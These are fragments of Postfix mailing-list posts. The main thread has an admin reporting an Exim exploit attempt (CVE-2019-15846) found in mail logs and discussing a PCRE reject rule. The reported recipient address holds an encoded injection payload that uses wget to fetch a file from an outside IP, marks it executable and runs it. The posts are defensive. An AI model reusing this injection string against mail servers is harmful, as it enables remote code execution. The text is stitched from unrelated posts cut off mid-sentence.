Hello Wietse,
hello all,
yes, there is a related msg -
http://postfix.1071664.n5.nabble.com/Redis-Plugin-td87004.html - but dated
2016 and it kept unanswered...
I'm looking for something similar like:
http://www.postfix.org/memcache_table.5.html
I would prefer redis over memcache, since it supp
Hey Ansgar,
thank you for your quick reply.
For sure the quasi-static tables should be managed via deploymant-systems or
simplier rsync and that alike.
We distribute the more dynamic tables - e.g. cidr-tables with self-harvested
current spammer's IPs - actually by simply distributing those
IMO a correct nullMX should be:
hotmal.com. 3600IN MX 0 .
--
Sent from: http://postfix.1071664.n5.nabble.com/Postfix-Users-f2.html
Hey
i found this crazy recipient-address in my postfix-logs:
root+${run{x2Fbinx2Fsht-ctx22wgetx20103.11.228.92x2fssx20-Osxsx3bchmodx20x2bxx20sxsx3b.x2fsxsx22}}@localhost
seems that someone tries to to downlaod something with wget, then chmod 'x'
and finally execute the downloded crap
Is there a
> It's an exim exploit. See CVE-2019-15846.
@KAM
Thanks a lot for this really quick reply!
--
Sent from: http://postfix.1071664.n5.nabble.com/Postfix-Users-f2.html
Hey Wietse,
thank you for this clearification.
What do you think about using the reject-recipient /\$\{/-rule?
Kris
--
Sent from: http://postfix.1071664.n5.nabble.com/Postfix-Users-f2.html
> As a temporary rule, it may have made sense when the Exim bug was new.
> As a permanent 'deny' rule, it won't block new exploits.
yes, you're right, each PCRE-rule more is one more to be passed for each
recipient...
Thanks
Kris
--
Sent from: http://postfix.1071664.n5.nabble.com/Postfi